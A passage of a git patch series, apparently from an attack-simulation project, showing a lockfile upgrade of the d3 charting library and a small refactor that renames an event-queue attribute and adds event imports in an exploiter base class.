"sha512-ndEIpszUHiG4HtDsQLeIuMvRsDnn8c8rYStabochtUeCvfuvNptb5TUbVD68LRAILPX7p9nqQGh4xJgn3EHS/g==" + }, "node_modules/run-async": { "version": "2.4.1", "resolved": "https://registry.npmjs.org/run-async/-/run-async-2.4.1.tgz", @@ -13463,7 +13593,7 @@ "node_modules/rw": { "version": "1.3.3", "resolved": "https://registry.npmjs.org/rw/-/rw-1.3.3.tgz", - "integrity": "sha1-P4Yt+pGrdmsUiF700BEkv9oHT7Q=" + "integrity": "sha512-PdhdWy89SiZogBLaw42zdeqtRJ//zFd2PgQavcICDUgJT5oW10QCRKbJ6bg4r0/UY2M6BWd5tkxuGFRvCkgfHQ==" }, "node_modules/rxjs": { "version": "6.6.7", @@ -19406,274 +19536,281 @@ "integrity": "sha512-/WwNkdXfckNgw6S5R125rrW8ez139lBHWouiBvX8dfMFtcn6V81REDqnH7+CRpRipfYlyU1CmOnOxrmGcFOjeA==" }, "d3": { - "version": "5.16.0", - "resolved": "https://registry.npmjs.org/d3/-/d3-5.16.0.tgz", - "integrity": "sha512-4PL5hHaHwX4m7Zr1UapXW23apo6pexCgdetdJ5kTmADpG/7T9Gkxw0M0tf/pjoB63ezCCm0u5UaFYy2aMt0Mcw==", + "version": "7.6.1", + "resolved": "https://registry.npmjs.org/d3/-/d3-7.6.1.tgz", + "integrity": "sha512-txMTdIHFbcpLx+8a0IFhZsbp+PfBBPt8yfbmukZTQFroKuFqIwqswF0qE5JXWefylaAVpSXFoKm3yP+jpNLFLw==", "requires": { - "d3-array": "1", - "d3-axis": "1", - "d3-brush": "1", - "d3-chord": "1", - "d3-collection": "1", - "d3-color": "1", - "d3-contour": "1", - "d3-dispatch": "1", - "d3-drag": "1", - "d3-dsv": "1", - "d3-ease": "1", - "d3-fetch": "1", - "d3-force": "1", - "d3-format": "1", - "d3-geo": "1", - "d3-hierarchy": "1", - "d3-interpolate": "1", - "d3-path": "1", - "d3-polygon": "1", - "d3-quadtree": "1", - "d3-random": "1", - "d3-scale": "2", - "d3-scale-chromatic": "1", - "d3-selection": "1", - "d3-shape": "1", - "d3-time": "1", - "d3-time-format": "2", - "d3-timer": "1", - "d3-transition": "1", - "d3-voronoi": "1", - "d3-zoom": "1" + "d3-array": "3", + "d3-axis": "3", + "d3-brush": "3", + "d3-chord": "3", + "d3-color": "3", + "d3-contour": "4", + "d3-delaunay": "6", + "d3-dispatch": "3", + "d3-drag": "3", + "d3-dsv": "3", + "d3-ease": "3", + "d3-fetch": "3", + "d3-force": "3", + "d3-format": "3", + "d3-geo": "3", + "d3-hierarchy": "3", + "d3-interpolate": "3", + "d3-path": "3", + "d3-polygon": "3", + "d3-quadtree": "3", + "d3-random": "3", + "d3-scale": "4", + "d3-scale-chromatic": "3", + "d3-selection": "3", + "d3-shape": "3", + "d3-time": "3", + "d3-time-format": "4", + "d3-timer": "3", + "d3-transition": "3", + "d3-zoom": "3" } }, "d3-array": { - "version": "1.2.4", - "resolved": "https://registry.npmjs.org/d3-array/-/d3-array-1.2.4.tgz", - "integrity": "sha512-KHW6M86R+FUPYGb3R5XiYjXPq7VzwxZ22buHhAEVG5ztoEcZZMLov530mmccaqA1GghZArjQV46fuc8kUqhhHw==" + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/d3-array/-/d3-array-3.2.0.tgz", + "integrity": "sha512-3yXFQo0oG3QCxbF06rMPFyGRMGJNS7NvsV1+2joOjbBE+9xvWQ8+GcMJAjRCzw06zQ3/arXeJgbPYcjUCuC+3g==", + "requires": { + "internmap": "1 - 2" + } }, "d3-axis": { - "version": "1.0.12", - "resolved": "https://registry.npmjs.org/d3-axis/-/d3-axis-1.0.12.tgz", - "integrity": "sha512-ejINPfPSNdGFKEOAtnBtdkpr24c4d4jsei6Lg98mxf424ivoDP2956/5HDpIAtmHo85lqT4pruy+zEgvRUBqaQ==" + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/d3-axis/-/d3-axis-3.0.0.tgz", + "integrity": "sha512-IH5tgjV4jE/GhHkRV0HiVYPDtvfjHQlQfJHs0usq7M30XcSBvOotpmH1IgkcXsO/5gEQZD43B//fc7SRT5S+xw==" }, "d3-brush": { - "version": "1.1.6", - "resolved": "https://registry.npmjs.org/d3-brush/-/d3-brush-1.1.6.tgz", - "integrity": "sha512-7RW+w7HfMCPyZLifTz/UnJmI5kdkXtpCbombUSs8xniAyo0vIbrDzDwUJB6eJOgl9u5DQOt2TQlYumxzD1SvYA==", + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/d3-brush/-/d3-brush-3.0.0.tgz", + "integrity": "sha512-ALnjWlVYkXsVIGlOsuWH1+3udkYFI48Ljihfnh8FZPF2QS9o+PzGLBslO0PjzVoHLZ2KCVgAM8NVkXPJB2aNnQ==", "requires": { - "d3-dispatch": "1", - "d3-drag": "1", - "d3-interpolate": "1", - "d3-selection": "1", - "d3-transition": "1" + "d3-dispatch": "1 - 3", + "d3-drag": "2 - 3", + "d3-interpolate": "1 - 3", + "d3-selection": "3", + "d3-transition": "3" } }, "d3-chord": { - "version": "1.0.6", - "resolved": "https://registry.npmjs.org/d3-chord/-/d3-chord-1.0.6.tgz", - "integrity": "sha512-JXA2Dro1Fxw9rJe33Uv+Ckr5IrAa74TlfDEhE/jfLOaXegMQFQTAgAw9WnZL8+HxVBRXaRGCkrNU7pJeylRIuA==", + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-chord/-/d3-chord-3.0.1.tgz", + "integrity": "sha512-VE5S6TNa+j8msksl7HwjxMHDM2yNK3XCkusIlpX5kwauBfXuyLAtNg9jCp/iHH61tgI4sb6R/EIMWCqEIdjT/g==", "requires": { - "d3-array": "1", - "d3-path": "1" + "d3-path": "1 - 3" } }, - "d3-collection": { - "version": "1.0.7", - "resolved": "https://registry.npmjs.org/d3-collection/-/d3-collection-1.0.7.tgz", - "integrity": "sha512-ii0/r5f4sjKNTfh84Di+DpztYwqKhEyUlKoPrzUFfeSkWxjW49xU2QzO9qrPrNkpdI0XJkfzvmTu8V2Zylln6A==" - }, "d3-color": { - "version": "1.4.1", - "resolved": "https://registry.npmjs.org/d3-color/-/d3-color-1.4.1.tgz", - "integrity": "sha512-p2sTHSLCJI2QKunbGb7ocOh7DgTAn8IrLx21QRc/BSnodXM4sv6aLQlnfpvehFMLZEfBc6g9pH9SWQccFYfJ9Q==" + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/d3-color/-/d3-color-3.1.0.tgz", + "integrity": "sha512-zg/chbXyeBtMQ1LbD/WSoW2DpC3I0mpmPdW+ynRTj/x2DAWYrIY7qeZIHidozwV24m4iavr15lNwIwLxRmOxhA==" }, "d3-contour": { - "version": "1.3.2", - "resolved": "https://registry.npmjs.org/d3-contour/-/d3-contour-1.3.2.tgz", - "integrity": "sha512-hoPp4K/rJCu0ladiH6zmJUEz6+u3lgR+GSm/QdM2BBvDraU39Vr7YdDCicJcxP1z8i9B/2dJLgDC1NcvlF8WCg==", + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/d3-contour/-/d3-contour-4.0.0.tgz", + "integrity": "sha512-7aQo0QHUTu/Ko3cP9YK9yUTxtoDEiDGwnBHyLxG5M4vqlBkO/uixMRele3nfsfj6UXOcuReVpVXzAboGraYIJw==", "requires": { - "d3-array": "^1.1.1" + "d3-array": "^3.2.0" + } + }, + "d3-delaunay": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/d3-delaunay/-/d3-delaunay-6.0.2.tgz", + "integrity": "sha512-IMLNldruDQScrcfT+MWnazhHbDJhcRJyOEBAJfwQnHle1RPh6WDuLvxNArUju2VSMSUuKlY5BGHRJ2cYyoFLQQ==", + "requires": { + "delaunator": "5" } }, "d3-dispatch": { - "version": "1.0.6", - "resolved": "https://registry.npmjs.org/d3-dispatch/-/d3-dispatch-1.0.6.tgz", - "integrity": "sha512-fVjoElzjhCEy+Hbn8KygnmMS7Or0a9sI2UzGwoB7cCtvI1XpVN9GpoYlnb3xt2YV66oXYb1fLJ8GMvP4hdU1RA==" + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-dispatch/-/d3-dispatch-3.0.1.tgz", + "integrity": "sha512-rzUyPU/S7rwUflMyLc1ETDeBj0NRuHKKAcvukozwhshr6g6c5d8zh4c2gQjY2bZ0dXeGLWc1PF174P2tVvKhfg==" }, "d3-drag": { - "version": "1.2.5", - "resolved": "https://registry.npmjs.org/d3-drag/-/d3-drag-1.2.5.tgz", - "integrity": "sha512-rD1ohlkKQwMZYkQlYVCrSFxsWPzI97+W+PaEIBNTMxRuxz9RF0Hi5nJWHGVJ3Om9d2fRTe1yOBINJyy/ahV95w==", + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/d3-drag/-/d3-drag-3.0.0.tgz", + "integrity": "sha512-pWbUJLdETVA8lQNJecMxoXfH6x+mO2UQo8rSmZ+QqxcbyA3hfeprFgIT//HW2nlHChWeIIMwS2Fq+gEARkhTkg==", "requires": { - "d3-dispatch": "1", - "d3-selection": "1" + "d3-dispatch": "1 - 3", + "d3-selection": "3" } }, "d3-dsv": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/d3-dsv/-/d3-dsv-1.2.0.tgz", - "integrity": "sha512-9yVlqvZcSOMhCYzniHE7EVUws7Fa1zgw+/EAV2BxJoG3ME19V6BQFBwI855XQDsxyOuG7NibqRMTtiF/Qup46g==", + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-dsv/-/d3-dsv-3.0.1.tgz", + "integrity": "sha512-UG6OvdI5afDIFP9w4G0mNq50dSOsXHJaRE8arAS5o9ApWnIElp8GZw1Dun8vP8OyHOZ/QJUKUJwxiiCCnUwm+Q==", "requires": { - "commander": "2", - "iconv-lite": "0.4", + "commander": "7", + "iconv-lite": "0.6", "rw": "1" }, "dependencies": { "commander": { - "version": "2.20.3", - "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz", - "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==" + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-7.2.0.tgz", + "integrity": "sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw==" + }, + "iconv-lite": { + "version": "0.6.3", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz", + "integrity": "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==", + "requires": { + "safer-buffer": ">= 2.1.2 < 3.0.0" + } } } }, "d3-ease": { - "version": "1.0.7", - "resolved": "https://registry.npmjs.org/d3-ease/-/d3-ease-1.0.7.tgz", - "integrity": "sha512-lx14ZPYkhNx0s/2HX5sLFUI3mbasHjSSpwO/KaaNACweVwxUruKyWVcb293wMv1RqTPZyZ8kSZ2NogUZNcLOFQ==" + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-ease/-/d3-ease-3.0.1.tgz", + "integrity": "sha512-wR/XK3D3XcLIZwpbvQwQ5fK+8Ykds1ip7A2Txe0yxncXSdq1L9skcG7blcedkOX+ZcgxGAmLX1FrRGbADwzi0w==" }, "d3-fetch": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/d3-fetch/-/d3-fetch-1.2.0.tgz", - "integrity": "sha512-yC78NBVcd2zFAyR/HnUiBS7Lf6inSCoWcSxFfw8FYL7ydiqe80SazNwoffcqOfs95XaLo7yebsmQqDKSsXUtvA==", + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-fetch/-/d3-fetch-3.0.1.tgz", + "integrity": "sha512-kpkQIM20n3oLVBKGg6oHrUchHM3xODkTzjMoj7aWQFq5QEM+R6E4WkzT5+tojDY7yjez8KgCBRoj4aEr99Fdqw==", "requires": { - "d3-dsv": "1" + "d3-dsv": "1 - 3" } }, "d3-force": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/d3-force/-/d3-force-1.2.1.tgz", - "integrity": "sha512-HHvehyaiUlVo5CxBJ0yF/xny4xoaxFxDnBXNvNcfW9adORGZfyNF1dj6DGLKyk4Yh3brP/1h3rnDzdIAwL08zg==", + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/d3-force/-/d3-force-3.0.0.tgz", + "integrity": "sha512-zxV/SsA+U4yte8051P4ECydjD/S+qeYtnaIyAs9tgHCqfguma/aAQDjo85A9Z6EKhBirHRJHXIgJUlffT4wdLg==", "requires": { - "d3-collection": "1", - "d3-dispatch": "1", - "d3-quadtree": "1", - "d3-timer": "1" + "d3-dispatch": "1 - 3", + "d3-quadtree": "1 - 3", + "d3-timer": "1 - 3" } }, "d3-format": { - "version": "1.4.5", - "resolved": "https://registry.npmjs.org/d3-format/-/d3-format-1.4.5.tgz", - "integrity": "sha512-J0piedu6Z8iB6TbIGfZgDzfXxUFN3qQRMofy2oPdXzQibYGqPB/9iMcxr/TGalU+2RsyDO+U4f33id8tbnSRMQ==" + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/d3-format/-/d3-format-3.1.0.tgz", + "integrity": "sha512-YyUI6AEuY/Wpt8KWLgZHsIU86atmikuoOmCfommt0LYHiQSPjvX2AcFc38PX0CBpr2RCyZhjex+NS/LPOv6YqA==" }, "d3-geo": { - "version": "1.12.1", - "resolved": "https://registry.npmjs.org/d3-geo/-/d3-geo-1.12.1.tgz", - "integrity": "sha512-XG4d1c/UJSEX9NfU02KwBL6BYPj8YKHxgBEw5om2ZnTRSbIcego6dhHwcxuSR3clxh0EpE38os1DVPOmnYtTPg==", + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-geo/-/d3-geo-3.0.1.tgz", + "integrity": "sha512-Wt23xBych5tSy9IYAM1FR2rWIBFWa52B/oF/GYe5zbdHrg08FU8+BuI6X4PvTwPDdqdAdq04fuWJpELtsaEjeA==", "requires": { - "d3-array": "1" + "d3-array": "2.5.0 - 3" } }, "d3-hierarchy": { - "version": "1.1.9", - "resolved": "https://registry.npmjs.org/d3-hierarchy/-/d3-hierarchy-1.1.9.tgz", - "integrity": "sha512-j8tPxlqh1srJHAtxfvOUwKNYJkQuBFdM1+JAUfq6xqH5eAqf93L7oG1NVqDa4CpFZNvnNKtCYEUC8KY9yEn9lQ==" + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/d3-hierarchy/-/d3-hierarchy-3.1.2.tgz", + "integrity": "sha512-FX/9frcub54beBdugHjDCdikxThEqjnR93Qt7PvQTOHxyiNCAlvMrHhclk3cD5VeAaq9fxmfRp+CnWw9rEMBuA==" }, "d3-interpolate": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/d3-interpolate/-/d3-interpolate-1.4.0.tgz", - "integrity": "sha512-V9znK0zc3jOPV4VD2zZn0sDhZU3WAE2bmlxdIwwQPPzPjvyLkd8B3JUVdS1IDUFDkWZ72c9qnv1GK2ZagTZ8EA==", + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-interpolate/-/d3-interpolate-3.0.1.tgz", + "integrity": "sha512-3bYs1rOD33uo8aqJfKP3JWPAibgw8Zm2+L9vBKEHJ2Rg+viTR7o5Mmv5mZcieN+FRYaAOWX5SJATX6k1PWz72g==", "requires": { - "d3-color": "1" + "d3-color": "1 - 3" } }, "d3-path": { - "version": "1.0.9", - "resolved": "https://registry.npmjs.org/d3-path/-/d3-path-1.0.9.tgz", - "integrity": "sha512-VLaYcn81dtHVTjEHd8B+pbe9yHWpXKZUC87PzoFmsFrJqgFwDe/qxfp5MlfsfM1V5E/iVt0MmEbWQ7FVIXh/bg==" + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-path/-/d3-path-3.0.1.tgz", + "integrity": "sha512-gq6gZom9AFZby0YLduxT1qmrp4xpBA1YZr19OI717WIdKE2OM5ETq5qrHLb301IgxhLwcuxvGZVLeeWc/k1I6w==" }, "d3-polygon": { - "version": "1.0.6", - "resolved": "https://registry.npmjs.org/d3-polygon/-/d3-polygon-1.0.6.tgz", - "integrity": "sha512-k+RF7WvI08PC8reEoXa/w2nSg5AUMTi+peBD9cmFc+0ixHfbs4QmxxkarVal1IkVkgxVuk9JSHhJURHiyHKAuQ==" + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-polygon/-/d3-polygon-3.0.1.tgz", + "integrity": "sha512-3vbA7vXYwfe1SYhED++fPUQlWSYTTGmFmQiany/gdbiWgU/iEyQzyymwL9SkJjFFuCS4902BSzewVGsHHmHtXg==" }, "d3-quadtree": { - "version": "1.0.7", - "resolved": "https://registry.npmjs.org/d3-quadtree/-/d3-quadtree-1.0.7.tgz", - "integrity": "sha512-RKPAeXnkC59IDGD0Wu5mANy0Q2V28L+fNe65pOCXVdVuTJS3WPKaJlFHer32Rbh9gIo9qMuJXio8ra4+YmIymA==" + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-quadtree/-/d3-quadtree-3.0.1.tgz", + "integrity": "sha512-04xDrxQTDTCFwP5H6hRhsRcb9xxv2RzkcsygFzmkSIOJy3PeRJP7sNk3VRIbKXcog561P9oU0/rVH6vDROAgUw==" }, "d3-random": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/d3-random/-/d3-random-1.1.2.tgz", - "integrity": "sha512-6AK5BNpIFqP+cx/sreKzNjWbwZQCSUatxq+pPRmFIQaWuoD+NrbVWw7YWpHiXpCQ/NanKdtGDuB+VQcZDaEmYQ==" + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-random/-/d3-random-3.0.1.tgz", + "integrity": "sha512-FXMe9GfxTxqd5D6jFsQ+DJ8BJS4E/fT5mqqdjovykEB2oFbTMDVdg1MGFxfQW+FBOGoB++k8swBrgwSHT1cUXQ==" }, "d3-scale": { - "version": "2.2.2", - "resolved": "https://registry.npmjs.org/d3-scale/-/d3-scale-2.2.2.tgz", - "integrity": "sha512-LbeEvGgIb8UMcAa0EATLNX0lelKWGYDQiPdHj+gLblGVhGLyNbaCn3EvrJf0A3Y/uOOU5aD6MTh5ZFCdEwGiCw==", + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/d3-scale/-/d3-scale-4.0.2.tgz", + "integrity": "sha512-GZW464g1SH7ag3Y7hXjf8RoUuAFIqklOAq3MRl4OaWabTFJY9PN/E1YklhXLh+OQ3fM9yS2nOkCoS+WLZ6kvxQ==", "requires": { - "d3-array": "^1.2.0", - "d3-collection": "1", - "d3-format": "1", - "d3-interpolate": "1", - "d3-time": "1", - "d3-time-format": "2" + "d3-array": "2.10.0 - 3", + "d3-format": "1 - 3", + "d3-interpolate": "1.2.0 - 3", + "d3-time": "2.1.1 - 3", + "d3-time-format": "2 - 4" } }, "d3-scale-chromatic": { - "version": "1.5.0", - "resolved": "https://registry.npmjs.org/d3-scale-chromatic/-/d3-scale-chromatic-1.5.0.tgz", - "integrity": "sha512-ACcL46DYImpRFMBcpk9HhtIyC7bTBR4fNOPxwVSl0LfulDAwyiHyPOTqcDG1+t5d4P9W7t/2NAuWu59aKko/cg==", + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/d3-scale-chromatic/-/d3-scale-chromatic-3.0.0.tgz", + "integrity": "sha512-Lx9thtxAKrO2Pq6OO2Ua474opeziKr279P/TKZsMAhYyNDD3EnCffdbgeSYN5O7m2ByQsxtuP2CSDczNUIZ22g==", "requires": { - "d3-color": "1", - "d3-interpolate": "1" + "d3-color": "1 - 3", + "d3-interpolate": "1 - 3" } }, "d3-selection": { - "version": "1.4.2", - "resolved": "https://registry.npmjs.org/d3-selection/-/d3-selection-1.4.2.tgz", - "integrity": "sha512-SJ0BqYihzOjDnnlfyeHT0e30k0K1+5sR3d5fNueCNeuhZTnGw4M4o8mqJchSwgKMXCNFo+e2VTChiSJ0vYtXkg==" + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/d3-selection/-/d3-selection-3.0.0.tgz", + "integrity": "sha512-fmTRWbNMmsmWq6xJV8D19U/gw/bwrHfNXxrIN+HfZgnzqTHp9jOmKMhsTUjXOJnZOdZY9Q28y4yebKzqDKlxlQ==" }, "d3-shape": { - "version": "1.3.7", - "resolved": "https://registry.npmjs.org/d3-shape/-/d3-shape-1.3.7.tgz", - "integrity": "sha512-EUkvKjqPFUAZyOlhY5gzCxCeI0Aep04LwIRpsZ/mLFelJiUfnK56jo5JMDSE7yyP2kLSb6LtF+S5chMk7uqPqw==", + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/d3-shape/-/d3-shape-3.1.0.tgz", + "integrity": "sha512-tGDh1Muf8kWjEDT/LswZJ8WF85yDZLvVJpYU9Nq+8+yW1Z5enxrmXOhTArlkaElU+CTn0OTVNli+/i+HP45QEQ==", "requires": { - "d3-path": "1" + "d3-path": "1 - 3" } }, "d3-time": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/d3-time/-/d3-time-1.1.0.tgz", - "integrity": "sha512-Xh0isrZ5rPYYdqhAVk8VLnMEidhz5aP7htAADH6MfzgmmicPkTo8LhkLxci61/lCB7n7UmE3bN0leRt+qvkLxA==" + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/d3-time/-/d3-time-3.0.0.tgz", + "integrity": "sha512-zmV3lRnlaLI08y9IMRXSDshQb5Nj77smnfpnd2LrBa/2K281Jijactokeak14QacHs/kKq0AQ121nidNYlarbQ==", + "requires": { + "d3-array": "2 - 3" + } }, "d3-time-format": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/d3-time-format/-/d3-time-format-2.3.0.tgz", - "integrity": "sha512-guv6b2H37s2Uq/GefleCDtbe0XZAuy7Wa49VGkPVPMfLL9qObgBST3lEHJBMUp8S7NdLQAGIvr2KXk8Hc98iKQ==", + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/d3-time-format/-/d3-time-format-4.1.0.tgz", + "integrity": "sha512-dJxPBlzC7NugB2PDLwo9Q8JiTR3M3e4/XANkreKSUxF8vvXKqm1Yfq4Q5dl8budlunRVlUUaDUgFt7eA8D6NLg==", "requires": { - "d3-time": "1" + "d3-time": "1 - 3" } }, "d3-timer": { - "version": "1.0.10", - "resolved": "https://registry.npmjs.org/d3-timer/-/d3-timer-1.0.10.tgz", - "integrity": "sha512-B1JDm0XDaQC+uvo4DT79H0XmBskgS3l6Ve+1SBCfxgmtIb1AVrPIoqd+nPSv+loMX8szQ0sVUhGngL7D5QPiXw==" + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-timer/-/d3-timer-3.0.1.tgz", + "integrity": "sha512-ndfJ/JxxMd3nw31uyKoY2naivF+r29V+Lc0svZxe1JvvIRmi8hUsrMvdOwgS1o6uBHmiz91geQ0ylPP0aj1VUA==" }, "d3-transition": { - "version": "1.3.2", - "resolved": "https://registry.npmjs.org/d3-transition/-/d3-transition-1.3.2.tgz", - "integrity": "sha512-sc0gRU4PFqZ47lPVHloMn9tlPcv8jxgOQg+0zjhfZXMQuvppjG6YuwdMBE0TuqCZjeJkLecku/l9R0JPcRhaDA==", + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-transition/-/d3-transition-3.0.1.tgz", + "integrity": "sha512-ApKvfjsSR6tg06xrL434C0WydLr7JewBB3V+/39RMHsaXTOG0zmt/OAXeng5M5LBm0ojmxJrpomQVZ1aPvBL4w==", "requires": { - "d3-color": "1", - "d3-dispatch": "1", - "d3-ease": "1", - "d3-interpolate": "1", - "d3-selection": "^1.1.0", - "d3-timer": "1" + "d3-color": "1 - 3", + "d3-dispatch": "1 - 3", + "d3-ease": "1 - 3", + "d3-interpolate": "1 - 3", + "d3-timer": "1 - 3" } }, - "d3-voronoi": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/d3-voronoi/-/d3-voronoi-1.1.4.tgz", - "integrity": "sha512-dArJ32hchFsrQ8uMiTBLq256MpnZjeuBtdHpaDlYuQyjU0CVzCJl/BVW+SkszaAeH95D/8gxqAhgx0ouAWAfRg==" - }, "d3-zoom": { - "version": "1.8.3", - "resolved": "https://registry.npmjs.org/d3-zoom/-/d3-zoom-1.8.3.tgz", - "integrity": "sha512-VoLXTK4wvy1a0JpH2Il+F2CiOhVu7VRXWF5M/LroMIh3/zBAC3WAt7QoIvPibOavVo20hN6/37vwAsdBejLyKQ==", + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/d3-zoom/-/d3-zoom-3.0.0.tgz", + "integrity": "sha512-b8AmV3kfQaqWAuacbPuNbL6vahnOJflOhexLzMMNLga62+/nh0JzvJ0aO/5a5MVgUFGS7Hu1P9P03o3fJkDCyw==", "requires": { - "d3-dispatch": "1", - "d3-drag": "1", - "d3-interpolate": "1", - "d3-selection": "1", - "d3-transition": "1" + "d3-dispatch": "1 - 3", + "d3-drag": "2 - 3", + "d3-interpolate": "1 - 3", + "d3-selection": "2 - 3", + "d3-transition": "2 - 3" } }, "debug": { @@ -19792,6 +19929,14 @@ } } }, + "delaunator": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/delaunator/-/delaunator-5.0.0.tgz", + "integrity": "sha512-AyLvtyJdbv/U1GkiS6gUUzclRoAY4Gs75qkMygJJhU75LW4DNuSF2RMzpxs9jw9Oz1BobHjTdkG3zdP55VxAqw==", + "requires": { + "robust-predicates": "^3.0.0" + } + }, "depd": { "version": "1.1.2", "resolved": "https://registry.npmjs.org/depd/-/depd-1.1.2.tgz", @@ -21645,6 +21790,11 @@ "side-channel": "^1.0.4" } }, + "internmap": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/internmap/-/internmap-2.0.3.tgz", + "integrity": "sha512-5Hh7Y1wQbvY5ooGgPbDaL5iYLAPzMTUrjMulskHLH6wnv/A+1q5rgEaiuqEjB+oxGXIVZs1FF+R/KPN3ZSQYYg==" + }, "interpret": { "version": "2.2.0", "resolved": "https://registry.npmjs.org/interpret/-/interpret-2.2.0.tgz", @@ -26164,6 +26314,11 @@ "glob": "^7.1.3" } }, + "robust-predicates": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/robust-predicates/-/robust-predicates-3.0.1.tgz", + "integrity": "sha512-ndEIpszUHiG4HtDsQLeIuMvRsDnn8c8rYStabochtUeCvfuvNptb5TUbVD68LRAILPX7p9nqQGh4xJgn3EHS/g==" + }, "run-async": { "version": "2.4.1", "resolved": "https://registry.npmjs.org/run-async/-/run-async-2.4.1.tgz", @@ -26182,7 +26337,7 @@ "rw": { "version": "1.3.3", "resolved": "https://registry.npmjs.org/rw/-/rw-1.3.3.tgz", - "integrity": "sha1-P4Yt+pGrdmsUiF700BEkv9oHT7Q=" + "integrity": "sha512-PdhdWy89SiZogBLaw42zdeqtRJ//zFd2PgQavcICDUgJT5oW10QCRKbJ6bg4r0/UY2M6BWd5tkxuGFRvCkgfHQ==" }, "rxjs": { "version": "6.6.7", diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json index 38d1e4c0d..0d8c273d3 100644 --- a/monkey/monkey_island/cc/ui/package.json +++ b/monkey/monkey_island/cc/ui/package.json @@ -77,7 +77,7 @@ "classnames": "^2.3.1", "core-js": "^3.18.2", "crypto-js": "^4.1.1", - "d3": "^5.14.1", + "d3": "^7.6.1", "downloadjs": "^1.4.7", "fetch": "^1.1.0", "file-saver": "^2.0.5", From bf4fecf4641f35f0faef0a9d986c64c14a2367cb Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 3 Oct 2022 16:46:17 +0200 Subject: [PATCH 002/144] Agent: Rename event_queue to agent_event_queue in HostExploiter --- monkey/infection_monkey/exploit/HostExploiter.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py index c9b312fb9..ee121e54b 100644 --- a/monkey/infection_monkey/exploit/HostExploiter.py +++ b/monkey/infection_monkey/exploit/HostExploiter.py @@ -33,7 +33,7 @@ class HostExploiter: self.exploit_attempts = [] self.host = None self.telemetry_messenger = None - self.event_queue = None + self.agent_event_queue = None self.options = {} self.exploit_result = {} self.servers = [] @@ -62,7 +62,7 @@ class HostExploiter: servers: Sequence[str], current_depth: int, telemetry_messenger: ITelemetryMessenger, - event_queue: IAgentEventQueue, + agent_event_queue: IAgentEventQueue, agent_binary_repository: IAgentBinaryRepository, options: Dict, interrupt: threading.Event, @@ -71,7 +71,7 @@ class HostExploiter: self.servers = servers self.current_depth = current_depth self.telemetry_messenger = telemetry_messenger - self.event_queue = event_queue + self.agent_event_queue = agent_event_queue self.agent_binary_repository = agent_binary_repository self.options = options self.interrupt = interrupt From 0b72e4ef9ac0ae2cfaec06ff71e52e514fa3019a Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 3 Oct 2022 18:00:01 +0200 Subject: [PATCH 003/144] Agent: Add publish methods to HostExploiter --- .../infection_monkey/exploit/HostExploiter.py | 39 +++++++++++++++++++ 1 file changed, 39 insertions(+) diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py index ee121e54b..3fe0e4ed3 100644 --- a/monkey/infection_monkey/exploit/HostExploiter.py +++ b/monkey/infection_monkey/exploit/HostExploiter.py @@ -2,13 +2,16 @@ import logging import threading from abc import abstractmethod from datetime import datetime +from ipaddress import IPv4Address from typing import Dict, Sequence +from common.agent_events import ExploitationEvent, PropagationEvent from common.event_queue import IAgentEventQueue from common.utils.exceptions import FailedExploitationError from infection_monkey.i_puppet import ExploiterResultData from infection_monkey.model import VictimHost from 